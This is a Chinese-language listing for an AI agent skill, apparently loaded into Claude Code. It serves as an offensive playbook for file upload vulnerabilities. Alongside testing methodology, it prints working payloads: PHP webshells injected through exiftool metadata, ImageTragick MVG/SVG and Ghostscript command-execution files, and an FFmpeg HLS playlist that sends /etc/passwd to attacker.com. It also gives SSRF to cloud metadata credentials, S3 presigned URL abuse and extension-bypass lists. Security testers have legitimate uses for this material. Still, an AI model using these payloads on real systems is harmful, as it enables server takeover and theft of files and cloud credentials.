mcpField
U
upload-insecure-files

upload-insecure-files

github.com/yaklang安全2.6k3.5k 次安装6 周前更新
代码仓库

关于 upload-insecure-files

用于审查文件上传功能的安全测试技能,按验证、存储、处理和检索环节梳理风险,帮助测试人员检查绕过方式、访问控制问题及文件处理链。

主要功能

  1. 01上传验证与绕过检查
  2. 02存储路径和检索分析
  3. 03处理链风险排查
  4. 04跨用户访问与覆盖测试
  5. 05上传漏洞组合路径梳理

适用场景

  1. 01检查扩展名与文件内容验证差异
  2. 02测试上传文件的公开访问和覆盖
  3. 03分析缩略图或文档处理器风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill upload-insecure-files

安装后在 Claude Code 中输入/upload-insecure-files确认已加载。

附带文件SCENARIOS.md

详细介绍

技能:上传不安全文件——验证绕过、存储滥用与处理链

AI 加载说明:文件上传攻击专家手册。当目标接受文件、导入内容、头像、媒体、文档或归档文件,且你需要完整工作流时使用:验证绕过、存储路径滥用、上传后的访问、解析器利用、多租户覆盖,以及串联利用 XSS、XXE、CMDi、路径遍历或业务逻辑影响。对于 Web 服务器解析漏洞、PUT 方法利用和特定 CVE(WebLogic、Flink、Tomcat),请加载配套的 SCENARIOS.md。

0. 相关路由

扩展场景

遇到以下情况时,也请加载 SCENARIOS.md:

  • IIS 解析漏洞——x.asp/ 目录解析、; 分号截断(shell.asp;.jpg)
  • Nginx 解析配置错误——在 cgi.fix_pathinfo=1 时使用 avatar.jpg/.php
  • Apache 解析——多个扩展名、AddHandler、CVE-2017-15715 的 \n(0x0A)绕过
  • PUT 方法利用——IIS WebDAV PUT+COPY、Tomcat CVE-2017-12615 中 readonly + .jsp/ 绕过
  • WebLogic CVE-2018-2894 通过 Web Service Test Page 任意文件上传
  • Apache Flink CVE-2020-17518 路径遍历文件上传
  • 上传 + 解析漏洞利用链——EXIF PHP 代码 + Nginx /.php 路径信息
  • 完整扩展名绕过参考表(PHP/ASP/JSP 替代形式、大小写变体、空字节)

将此文件用作深入的上传工作流参考。还应加载:

  • 当文件名、解压路径或包含路径可控制文件系统时,加载 path traversal lfi
  • 当上传文件会在浏览器上下文中呈现时,加载 xss cross site scripting
  • 当系统接受 SVG、OOXML 或 XML 导入内容时,加载 xxe xml external entity
  • 当处理器、转换器或媒体流水线会执行系统工具时,加载 cmdi command injection
  • 当配额、覆盖规则、审批或存储路径产生逻辑漏洞时,加载 business logic vulnerabilities
  • 当服务器是 Apache Tomcat 且 WAF 会拦截 filename* 中的 .jsp 时,加载 ghost-bits-cast-attack——Tomcat 的 RFC2231Utility 会将每个字符缩窄为字节,因此 1.陪sp(U+966A 的低字节为 j)会在磁盘上写入 1.jsp,而 WAF 看不到 .jsp 字面值

1. 核心模型

每个上传功能都应按照四个独立的信任边界进行测试:

  1. 接受:文件存储前会进行哪些验证?
  2. 存储:文件写入何处,使用什么名称和权限?
  3. 处理:哪些后台工具、转换器、扫描器、解析器或解压器会处理文件?
  4. 提供:之后如何下载、呈现、转换或共享文件?

许多目标只验证其中一个阶段。漏洞通常出现在与文件上传阶段不同的阶段。


2. 首先提出侦察问题

选择载荷前,请先回答以下问题:

  • 允许、拒绝或规范化了哪些扩展名?
  • 后端信任扩展名、MIME 类型、魔数,还是三者都信任?
  • 文件是否会被重命名、转码、解压、扫描或重新托管?
  • 文件是直接提供、经代理提供、通过签名提供,还是由 CDN 提供?
  • 一个用户能否预测或覆盖另一个用户的文件路径?
  • 文件名、元数据或预览内容是否会反映到 HTML、日志、管理控制台或 PDF 中?

3. 验证绕过矩阵

验证方式测试内容
扩展名黑名单双重扩展名、大小写切换、尾随句点、替代分隔符
仅检查内容类型不匹配的 multipart Content-Type、浏览器与代理重写的差异
仅检查魔数多格式文件,或带有危险尾部内容的有效文件头
服务端重命名危险内容在重命名后是否仍然存在,以及之后的渲染行为
仅允许图像SVG、带元数据的畸形图像、解析器差异
仅处理归档或导入zip 内容、嵌套路径名称、XML 文件成员、解压行为

具有代表性的绕过类别:

shell.php.jpg
avatar.jpg.php
file.asp;.jpg
file.php%00.jpg
file.svg
archive.zip

这组小型样本已经涵盖了先前独立上传载荷助手的主要用例,因此首次筛选时无需额外条目。

不要止步于上传成功。仅上传成功,而没有危险的取回或处理行为,还不够。


4. 存储与取回滥用

可预测或可控的路径

查找以下模式:

/uploads/USER_ID/avatar.png
/files/org-slug/report.pdf
/cdn/tmp/<uuid>/<filename>

测试以下情况:

  • 通过猜测 ID、slug 或 UUID 模式跨租户读取数据
  • 通过重复使用其他用户的文件名进行覆盖
  • 文件名或归档成员中的路径规范化漏洞
  • 尽管 UI 层有访问控制,私有文件仍可通过直接对象 URL 访问
基于文件名的注入面

即使文件本身安全,如果文件名被反映到以下位置,也可能造成危险:

  • 图库 HTML
  • 管理员审核面板
  • PDF/CSV 导出任务
  • 日志、审计视图或电子邮件通知

如果文件名会被反映,就应将其视为存储的输入,而不是被动元数据。


5. 处理链攻击

高价值的上传漏洞往往出现在异步处理器中。

常见处理器类别
处理器风险
图像调整大小或生成缩略图解析器差异、ImageMagick 或库漏洞、元数据反射
视频或音频转码FFmpeg 风格的解析与协议滥用
归档解压zip slip、覆盖、解压缩炸弹
文档导入CSV 公式注入、Office XML 解析、与宏相关的工作流
XML 或 SVG 解析XXE、SSRF、本地文件泄露
HTML 转 PDF 或预览渲染SSRF、脚本执行、本地文件引用
AV 或 DLP 扫描解压深度、隐藏的嵌套内容、竞态条件
需要证明的内容
  1. 文件会被处理器处理。
  2. 处理器的行为与上传验证器不同。
  3. 这种差异会造成影响:读取、执行、覆盖、SSRF 或存储型客户端执行。

6. 高价值利用路径

浏览器执行
  • SVG 作为主动内容提供
  • HTML 或文本上传内容以内联方式渲染
  • EXIF 或文件名被反映到 HTML 页面中
XML 和文档解析
  • 使用 SVG XXE 读取文件或发起 SSRF
  • OOXML 导入导致 XML 实体或解析器滥用
  • CSV 导入导致分析工作流中执行公式
服务端执行或文件系统影响
  • 图像或文档转换器调用 shell 工具
  • zip slip 将文件写入预期目录之外
  • 上传到 LFI 的利用链:上传的内容随后可被包含
访问控制与共享漏洞
  • 可通过可预测的 URL 访问私有上传内容
  • 审核或隔离路径仍可公开访问
  • 一个用户替换另一用户的公开资源

7. 授权与业务逻辑检查

上传功能经常隐藏着非解析器类漏洞:

  • 上传配额仅在 UI 中强制执行,API 中未强制执行
  • 计划限制在上传页面检查,但在导入端点未检查
  • 文件所有权仅在列表视图中检查,直接下载或替换端点未检查
  • 可直接调用最终存储端点绕过审批工作流
  • 删除或替换操作缺少对象级授权

如果上传路径包含账户、项目或组织标识符,务必执行 A/B 授权测试。


8. 测试顺序

  1. 上传一个无害的标记文件,并摸清重命名、路径和检索行为。
  2. 尝试一个绕过验证的样本和一个主动内容样本。
  3. 检查检索到的文件是以附件形式提供、内联渲染、转换后的预览,还是在后台处理。
  4. 如果存在处理流程,按处理器类别进一步测试:XSS、XXE、CMDi、zip slip 或 SSRF。
  5. 针对文件 ID、替换端点和公开 URL,测试租户边界和覆盖行为。

9. 攻击链图谱

观察结果下一步
接受 SVG 或 XMLxxe xml external entity
文件名或元数据被反射xss cross site scripting
转换器或处理器通过 shell 执行命令cmdi command injection
提取路径似乎可控path traversal lfi
存在覆盖、配额、审批或租户漏洞business logic vulnerabilities

10. 操作人员检查清单

[] Confirm accept/store/process/serve stages separately
[] Test one extension bypass and one content-based payload
[] Check inline render vs forced download
[] Inspect filenames, metadata, and preview surfaces for reflection
[] Probe processing chain: image, archive, XML, document, PDF
[] Run A/B authorization on read, replace, delete, and share actions
[] Map predictable paths and public/private URL boundaries

11. 上传成功率模型与高级方法

成功率公式
P(RCE via Upload) = P(bypass_detection) × P(obtain_path) × P(execute_via_webserver)

许多测试人员只关注绕过文件类型检查,却忽略了:

  • 路径发现:不知道上传路径,即使成功绕过检查也毫无用处
  • 服务器解析:即使上传了 .php 文件,如果 Web 服务器不将其解析为 PHP,就无法实现 RCE
富文本编辑器路径矩阵
编辑器常见上传路径版本指示标记
FCKeditor/fckeditor/editor/filemanager/connectors//fckeditor/_whatsnew.html
CKEditor/ckeditor//ckeditor/CHANGES.md
eWebEditor/ewebeditor/管理员:/ewebeditor/admin_login.asp
KindEditor/kindeditor/attached//kindeditor/kindeditor.js
UEditor/ueditor/net/ 或 /ueditor/php//ueditor/ueditor.config.js
验证缺陷分类(5 个维度)
维度缺陷示例
位置仅在客户端验证,前后端验证不一致
方法扩展名黑名单(不完整)、仅检查 MIME、仅检查魔数
逻辑顺序执行检查之后才重命名,在完整上传之前就进行验证
范围检查文件名但不检查文件内容,仅检查开头字节
执行上下文上传成功,但由不同的虚拟主机/处理程序处理该文件
响应篡改绕过
# If server returns allowedTypes in response for client-side validation:
# Intercept response → modify allowedTypes to include .php → upload .php
# The server never actually validates — it trusts client filtering
IIS 分号解析
# IIS treats semicolon as parameter delimiter in filenames:
shell.asp;.jpg    → IIS executes as ASP
# NTFS Alternate Data Stream:
shell.asp::$DATA  → Bypasses extension check, IIS may execute
Apache 多扩展名
# Apache parses right-to-left for handler:
shell.php.jpg     → May execute as PHP if AddHandler php applies
# Newline in filename (CVE-2017-15715):
shell.php\x0a     → Bypasses regex but Apache still executes as PHP
Nginx cgi.fix_pathinfo
# With cgi.fix_pathinfo=1 (PHP-FPM):
/uploads/image.jpg/anything.php → PHP processes image.jpg as PHP!
# Upload legitimate-looking JPG with PHP code embedded

12. 多格式文件技术

同时符合两种或更多格式规范的文件,可绕过特定格式的验证,同时携带危险载荷。

GIFAR(GIF + JAR)
# GIF header + JAR appended
# GIF89a header (6 bytes) + padding + JAR archive (ZIP format)
# Browser: valid GIF image
# Java: valid JAR archive → applet execution (legacy)

cat header.gif payload.jar > gifar.gif
# Passes image validation, executes as Java applet if loaded via <applet>
PNG + PHP 多格式文件
# Inject PHP code into PNG IDAT chunk or tEXt metadata
# The PNG renders as valid image; when included via LFI, PHP code executes

# Method 1: PHP in tEXt chunk
python3 -c "
import struct
png_header = b'\x89PNG\r\n\x1a\n'
# ... minimal IHDR + IDAT + tEXt chunk containing PHP
"

# Method 2: Use exiftool to inject into comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png
# Upload image.png → LFI include → PHP executes from metadata
JPEG + JS 多格式文件
# JPEG comment marker (0xFFFE) can contain JavaScript
# If served with Content-Type: text/html (or MIME sniffing active):
exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg

# Combined with content-type confusion → XSS via image upload
PDF + JS 多格式文件
# PDF header followed by JS:
%PDF-1.0
1 0 obj<</Pages 2 0 R>>endobj
2 0 obj<</Kids[3 0 R]/Count 1>>endobj
3 0 obj<</MediaBox[0 0 3 3]>>endobj
trailer<</Root 1 0 R>>
*/=alert('XSS')/*

13. ImageMagick 利用链

CVE-2016-3714(ImageTragick)——通过委托程序实现 RCE

ImageMagick 会使用“委托程序”(外部程序)执行某些格式的转换。精心构造的文件可触发 shell 命令执行:

MVG(Magick Vector Graphics)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
SVG 委托程序滥用
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px">
  <image xlink:href="https://example.com/image.jpg&quot;|id > /tmp/pwned&quot;" x="0" y="0"/>
</svg>
Ghostscript 利用

ImageMagick 会委托 Ghostscript 处理 PDF/PS/EPS。Ghostscript 曾出现过多次沙箱逃逸漏洞:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops

上传为 .eps、.ps 或 .pdf → ImageMagick 调用 Ghostscript → RCE。

缓解措施检查
□ Is ImageMagick policy.xml restricting dangerous coders?
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
□ Is Ghostscript updated and sandboxed (-dSAFER)?

14. FFmpeg SSRF 与本地文件读取

HLS 播放列表文件读取
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST

上传为 .m3u8 或 .ts → FFmpeg 处理该文件 → 文件内容与标头拼接后发送到攻击者服务器,或嵌入输出视频中。

通过 HLS 实现 SSRF
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST

FFmpeg 在服务器端获取 URL → 对云元数据端点发起 SSRF。

用于本地文件包含的 Concat 协议
#EXTM3U
#EXTINF:1,
concat:file:///etc/passwd|subfile,,start,0,end,0,,:
#EXT-X-ENDLIST
AVI + 字幕 SSRF

创建包含引用 URL 的字幕轨道的 AVI:

ffmpeg -i input.avi -vf "subtitles=http://169.254.169.254/latest/meta-data/" output.avi

15. 云存储上传注意事项

S3 预签名 URL 滥用
# Presigned URL generated for specific key and content-type:
PUT https://bucket.s3.amazonaws.com/uploads/avatar.jpg
  ?X-Amz-Algorithm=AWS4-HMAC-SHA256&...&X-Amz-SignedHeaders=host;content-type

# Abuse: if content-type is NOT in SignedHeaders:
# Change Content-Type from image/jpeg to text/html → upload XSS payload
# The signature remains valid because content-type wasn't signed

# If path is not signed (only prefix):
# Change key from uploads/avatar.jpg to uploads/../admin/config.json

审计清单:

□ Which headers are included in SignedHeaders? (must include content-type)
□ Is the full key path signed or just a prefix?
□ Is the upload bucket the same as the serving bucket? (write to CDN-served bucket → stored XSS)
□ Is the ACL signed? (prevent setting public-read on sensitive uploads)
Azure Blob Storage SAS 令牌
# SAS token scope issues:
# Container-level SAS with write permission → write to ANY blob in container
# Service-level SAS → may allow listing/reading other blobs
# Check: sr= (signed resource), sp= (signed permissions), se= (expiry)
GCS 签名 URL
# Similar to S3 — check if Content-Type is included in signature
# Resumable upload URLs may have broader permissions than intended
# V4 signed URLs: verify X-Goog-SignedHeaders includes content-type

16. 绕过 CONTENT-TYPE 验证

双重扩展名
shell.php.jpg          → Apache with AddHandler may execute as PHP
shell.asp;.jpg         → IIS semicolon truncation
shell.php%00.jpg       → Null byte truncation (PHP < 5.3.4, old Java)
shell.php.xxxxx        → Unknown extension → Apache falls back to previous handler
利用 MIME 嗅探

当服务器未发送 Content-Type,或缺少 X-Content-Type-Options: nosniff 时:

# Upload file with HTML/JS content but image extension
# Browser MIME-sniffs content → executes as HTML
# Works for stored XSS even when extension validation passes
Content-Type 标头与扩展名不匹配
# Upload request:
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg

# File content: <?php system($_GET['cmd']); ?>

# Server trusts Content-Type header (image/jpeg) → passes validation
# But stores with .php extension based on other logic → executes as PHP
大小写变化
shell.PhP    shell.pHP    shell.Php
shell.aSp    shell.jSp    shell.ASPX
尾随字符
shell.php.      → trailing dot (Windows strips it)
shell.php::$DATA → NTFS alternate data stream (IIS)
shell.php\x20   → trailing space
shell.php%20    → URL-encoded space

评论

支持 Markdown